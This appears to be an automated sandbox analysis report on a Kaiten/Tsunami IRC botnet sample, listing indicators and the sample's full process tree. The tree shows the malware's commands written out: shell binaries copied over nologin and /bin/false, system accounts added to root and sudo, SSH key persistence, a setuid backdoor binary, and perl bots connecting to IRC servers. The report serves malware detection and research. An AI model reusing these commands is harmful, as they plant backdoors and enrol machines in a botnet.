kaiten | 975a79e3549d8c0b8f102888d4c407535404a18b17086c6ae580850a8aa32ff1

Analysis

max time kernel
146s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28-08-2024 20:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

go
Size

3KB
MD5

fd55f0754084ba041539bb469f06a83d
SHA1

af7beef3297d77bdf1299a4fbf6cc50e27113aa4
SHA256

9bde6ebc01e00f36cb71b979f602f61a0f78e201ad9073ae557d764578789023
SHA512

cee0d136026accde83034f0b135dac8bdc2eec1a395a518f4b15c813062d75d49432b6d0ba996448107c1735382e84c31aeec372e9e1a9f830f1be848f7a8248

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 3 IoCs

resource	yara_rule
behavioral5/files/fstream-2.dat	family_kaiten2
behavioral5/files/fstream-4.dat	family_kaiten2
behavioral5/files/fstream-10.dat	family_kaiten2

Detects Kaiten/Tsunami payload 2 IoCs

resource	yara_rule
behavioral5/files/fstream-4.dat	family_kaiten
behavioral5/files/fstream-10.dat	family_kaiten

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Adds new SSH keys 2 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	touch
File opened for modification	/root/.ssh/authorized_keys	go

Modifies password files for system users/ groups 16 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

description	ioc	Process
File opened for modification	/etc/group	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod

Write file to user bin folder 1 TTPs 1 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/usr/sbin/nologin	cp

Writes file to system bin folder 1 TTPs 64 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/bin/bzip2recover	touch
File opened for modification	/bin/chgrp	touch
File opened for modification	/bin/ed	touch
File opened for modification	/bin/less	touch
File opened for modification	/bin/login	touch
File opened for modification	/sbin/isosize	touch
File opened for modification	/bin/rmdir	touch
File opened for modification	/sbin/dumpe2fs	touch
File opened for modification	/sbin/fsck	touch
File opened for modification	/sbin/reboot	touch
File opened for modification	/sbin/shadowconfig	touch
File opened for modification	/bin/mountpoint	touch
File opened for modification	/sbin/pam_tally2	touch
File opened for modification	/sbin/rtacct	touch
File opened for modification	/sbin/unix_chkpwd	touch
File opened for modification	/bin/bzexe	touch
File opened for modification	/bin/openvt	touch
File opened for modification	/sbin/audispd	touch
File opened for modification	/sbin/chcpu	touch
File opened for modification	/sbin/u-d-c-print-pci-ids	touch
File opened for modification	/bin/getfacl	touch
File opened for modification	/bin/hostname	touch
File opened for modification	/bin/ntfsfix	touch
File opened for modification	/bin/.ssh/authorized_keys	touch
File opened for modification	/sbin/sysctl	touch
File opened for modification	/sbin/uid	touch
File opened for modification	/sbin/blkdeactivate	touch
File opened for modification	/sbin/blockdev	touch
File opened for modification	/sbin/kbdrate	touch
File opened for modification	/sbin/rtmon	touch
File opened for modification	/sbin/sfdisk	touch
File opened for modification	/bin/cat	touch
File opened for modification	/bin/domainname	touch
File opened for modification	/sbin/mkfs.minix	touch
File opened for modification	/sbin/wipefs	touch
File opened for modification	/bin/ntfscat	touch
File opened for modification	/bin/systemd	touch
File opened for modification	/sbin/mkntfs	touch
File opened for modification	/sbin/partprobe	touch
File opened for modification	/sbin/load_policy	touch
File opened for modification	/sbin/mkfs	touch
File opened for modification	/sbin/rmmod	touch
File opened for modification	/sbin/tc	touch
File opened for modification	/bin/which	touch
File opened for modification	/sbin/blkid	touch
File opened for modification	/sbin/fsck.ext3	touch
File opened for modification	/sbin/mkfs.vfat	touch
File opened for modification	/bin/mount	touch
File opened for modification	/bin/zless	touch
File opened for modification	/sbin/depmod	touch
File opened for modification	/sbin/ldconfig.real	touch
File opened for modification	/bin/bzcmp	touch
File opened for modification	/bin/dmesg	touch
File opened for modification	/bin/sync	touch
File opened for modification	/sbin/fstab-decode	touch
File opened for modification	/sbin/iw	touch
File opened for modification	/bin/false	cp
File opened for modification	/bin/kill	touch
File opened for modification	/sbin/e2label	touch
File opened for modification	/sbin/e2undo	touch
File opened for modification	/sbin/nologin	touch
File opened for modification	/sbin/unix_update	touch
File opened for modification	/bin/gzexe	touch
File opened for modification	/bin/tar	touch

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-bash	1585	perl
Changes the process name, possibly in an attempt to hide itself	-bash	1587	perl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	usermod

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cc0cxbU4.res	gcc
File opened for modification	/tmp/ccXMx66J.o	collect2
File opened for modification	/tmp/ccXvv7QX.le	collect2
File opened for modification	/tmp/ccvMZD9Z.o	as
File opened for modification	/tmp/ccB22ei8.o	gcc
File opened for modification	/tmp/ccDPYlLc.o	gcc
File opened for modification	/tmp/ccHrG1AQ.res	gcc
File opened for modification	/tmp/cckk59hR.s	gcc
File opened for modification	/tmp/ccG8o4Yl.ld	collect2
File opened for modification	/tmp/ccvMZD9Z.o	gcc
File opened for modification	/tmp/cckGLn6C.res	gcc
File opened for modification	/tmp/ccVn3PJI.ld	collect2
File opened for modification	/tmp/ccJsRG8d.o	collect2
File opened for modification	/tmp/ccDPYlLc.o	as
File opened for modification	/tmp/ccKfsVfn.s	cc1
File opened for modification	/tmp/ccajPJSu.s	cc1
File opened for modification	/tmp/ccfm2XGA.c	collect2
File opened for modification	/tmp/ccFF5uAR.ld	collect2
File opened for modification	/tmp/ccb0f0zh.o	collect2
File opened for modification	/tmp/cckk59hR.s	cc1
File opened for modification	/tmp/cch5QlXy.s	cc1
File opened for modification	/tmp/ccXonaOs.c	collect2
File opened for modification	/tmp/ccMLWrJL.res	gcc
File opened for modification	/tmp/ccovIdf8.c	collect2
File opened for modification	/tmp/ccZ8CXL5.o	collect2
File opened for modification	/tmp/ccIuhOJD.c	collect2
File opened for modification	/tmp/cckxjhqV.ld	collect2
File opened for modification	/tmp/ccvtwDgz.le	collect2
File opened for modification	/tmp/ccxJlL3s.o	gcc
File opened for modification	/tmp/ccKfsVfn.s	gcc
File opened for modification	/tmp/ccZg0NHl.le	collect2
File opened for modification	/tmp/ccB22ei8.o	as
File opened for modification	/tmp/ccxJlL3s.o	as
File opened for modification	/tmp/ccajPJSu.s	gcc
File opened for modification	/tmp/ccRN5o2u.le	collect2
File opened for modification	/tmp/cch5QlXy.s	gcc

/tmp/go
/tmp/go
1⤵
- Adds new SSH keys
PID:1512
- /usr/bin/gcc
  gcc -o /usr/share/man/man1/kwk a.c
  2⤵
  - Writes file to tmp directory
  PID:1513
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu a.c -quiet -dumpbase a.c "-mtune=generic" "-march=x86-64" -auxbase a -fstack-protector-strong -Wformat -Wformat-security -o /tmp/cckk59hR.s
    3⤵
    - Writes file to tmp directory
    PID:1514
- - /usr/local/sbin/as
    as --64 -o /tmp/ccxJlL3s.o /tmp/cckk59hR.s
    3⤵
    PID:1518
- - /usr/local/bin/as
    as --64 -o /tmp/ccxJlL3s.o /tmp/cckk59hR.s
    3⤵
    PID:1518
- - /usr/sbin/as
    as --64 -o /tmp/ccxJlL3s.o /tmp/cckk59hR.s
    3⤵
    PID:1518
- - /usr/bin/as
    as --64 -o /tmp/ccxJlL3s.o /tmp/cckk59hR.s
    3⤵
    - Writes file to tmp directory
    PID:1518
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cc0cxbU4.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /usr/share/man/man1/kwk /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccxJlL3s.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1519
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cc0cxbU4.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /usr/share/man/man1/kwk /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccxJlL3s.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1520
- /tmp/distro
  ./distro
  2⤵
  PID:1521
- /bin/rm
  rm -rf /sbin/nologin
  2⤵
  PID:1522
- /bin/rm
  rm -rf /usr/sbin/nologin
  2⤵
  PID:1523
- /bin/rm
  rm -rf /bin/false
  2⤵
  PID:1524
- /bin/cp
  cp /bin/bash /bin/false
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1525
- /bin/cp
  cp /bin/bash /usr/sbin/nologin
  2⤵
  - Write file to user bin folder
  - Reads runtime system information
  PID:1526
- /bin/cp
  cp /bin/bash /sbin/nologin
  2⤵
  - Reads runtime system information
  PID:1527
- /usr/sbin/usermod
  usermod -G root nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1528
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1529
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1530
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1531
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1532
- /usr/sbin/usermod
  usermod -G root bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1533
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1534
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1535
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1536
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1537
- /usr/sbin/usermod
  usermod -G sudo nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1538
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1539
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1540
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1541
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1542
- /usr/sbin/usermod
  usermod -G sudo bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1543
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1544
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1545
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1546
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1547
- /bin/rm
  rm -rf "/bin/.ssh/authorized*"
  2⤵
  PID:1548
- /bin/rm
  rm -rf "/usr/games/.ssh/authorized*"
  2⤵
  PID:1549
- /bin/mkdir
  mkdir /bin/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1550
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1551
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1552
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1553
- /usr/bin/whoami
  whoami
  2⤵
  PID:1554
- /bin/hostname
  hostname
  2⤵
  PID:1555
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1556
- /usr/bin/whoami
  whoami
  2⤵
  PID:1557
- /bin/hostname
  hostname
  2⤵
  PID:1558
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:1559
- /bin/chmod
  chmod 755 /usr/games/.ssh
  2⤵
  PID:1560
- /bin/chmod
  chmod 600 /usr/games/.ssh/authorized_keys
  2⤵
  PID:1561
- /bin/chown
  chown games:games /usr/games/.ssh/
  2⤵
  PID:1562
- /bin/chown
  chown games:games /usr/games/.ssh/authorized_keys
  2⤵
  PID:1563
- /bin/chown
  chown bin:bin /usr/bin/.ssh/
  2⤵
  PID:1564
- /bin/chown
  chown bin:bin "/usr/bin/.ssh/au*"
  2⤵
  PID:1565
- /bin/rm
  rm -rf /bin/ping6 /sbin/ping6
  2⤵
  PID:1566
- /usr/bin/gcc
  gcc -o /bin/ping6 ping.c
  2⤵
  - Writes file to tmp directory
  PID:1567
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu ping.c -quiet -dumpbase ping.c "-mtune=generic" "-march=x86-64" -auxbase ping -fstack-protector-strong -Wformat -Wformat-security -o /tmp/ccKfsVfn.s
    3⤵
    - Writes file to tmp directory
    PID:1568
- - /usr/local/sbin/as
    as --64 -o /tmp/ccvMZD9Z.o /tmp/ccKfsVfn.s
    3⤵
    PID:1569
- - /usr/local/bin/as
    as --64 -o /tmp/ccvMZD9Z.o /tmp/ccKfsVfn.s
    3⤵
    PID:1569
- - /usr/sbin/as
    as --64 -o /tmp/ccvMZD9Z.o /tmp/ccKfsVfn.s
    3⤵
    PID:1569
- - /usr/bin/as
    as --64 -o /tmp/ccvMZD9Z.o /tmp/ccKfsVfn.s
    3⤵
    - Writes file to tmp directory
    PID:1569
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cckGLn6C.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/ping6 /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccvMZD9Z.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1570
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cckGLn6C.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/ping6 /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccvMZD9Z.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1571
- /bin/chmod
  chmod u+xs /bin/ping6
  2⤵
  PID:1572
- /bin/cp
  cp /bin/ping6 /sbin/uid
  2⤵
  - Reads runtime system information
  PID:1573
- /bin/cp
  cp /bin/ping6 /usr/include/bakla.h
  2⤵
  - Reads runtime system information
  PID:1574
- /usr/bin/gcc
  gcc -DLINUX -Wall -o /bin/cls cls.c
  2⤵
  - Writes file to tmp directory
  PID:1575
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu -D LINUX cls.c -quiet -dumpbase cls.c "-mtune=generic" "-march=x86-64" -auxbase cls -Wall -fstack-protector-strong -Wformat-security -o /tmp/ccajPJSu.s
    3⤵
    - Writes file to tmp directory
    PID:1576
- - /usr/local/sbin/as
    as --64 -o /tmp/ccB22ei8.o /tmp/ccajPJSu.s
    3⤵
    PID:1577
- - /usr/local/bin/as
    as --64 -o /tmp/ccB22ei8.o /tmp/ccajPJSu.s
    3⤵
    PID:1577
- - /usr/sbin/as
    as --64 -o /tmp/ccB22ei8.o /tmp/ccajPJSu.s
    3⤵
    PID:1577
- - /usr/bin/as
    as --64 -o /tmp/ccB22ei8.o /tmp/ccajPJSu.s
    3⤵
    - Writes file to tmp directory
    PID:1577
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccMLWrJL.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/cls /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccB22ei8.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1578
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccMLWrJL.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/cls /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccB22ei8.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1579
- /usr/bin/gcc
  gcc clean.c -o /bin/clean -D Linux
  2⤵
  - Writes file to tmp directory
  PID:1580
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu -D Linux clean.c -quiet -dumpbase clean.c "-mtune=generic" "-march=x86-64" -auxbase clean -fstack-protector-strong -Wformat -Wformat-security -o /tmp/cch5QlXy.s
    3⤵
    - Writes file to tmp directory
    PID:1581
- - /usr/local/sbin/as
    as --64 -o /tmp/ccDPYlLc.o /tmp/cch5QlXy.s
    3⤵
    PID:1582
- - /usr/local/bin/as
    as --64 -o /tmp/ccDPYlLc.o /tmp/cch5QlXy.s
    3⤵
    PID:1582
- - /usr/sbin/as
    as --64 -o /tmp/ccDPYlLc.o /tmp/cch5QlXy.s
    3⤵
    PID:1582
- - /usr/bin/as
    as --64 -o /tmp/ccDPYlLc.o /tmp/cch5QlXy.s
    3⤵
    - Writes file to tmp directory
    PID:1582
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccHrG1AQ.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/clean /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccDPYlLc.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1583
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccHrG1AQ.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/clean /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccDPYlLc.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1584
- /usr/bin/perl
  perl bot plm.ftp.sh 1080 -bash
  2⤵
  - Changes its process name
  PID:1585
- /usr/bin/perl
  perl bot irc.undernet.org 6667 -bash
  2⤵
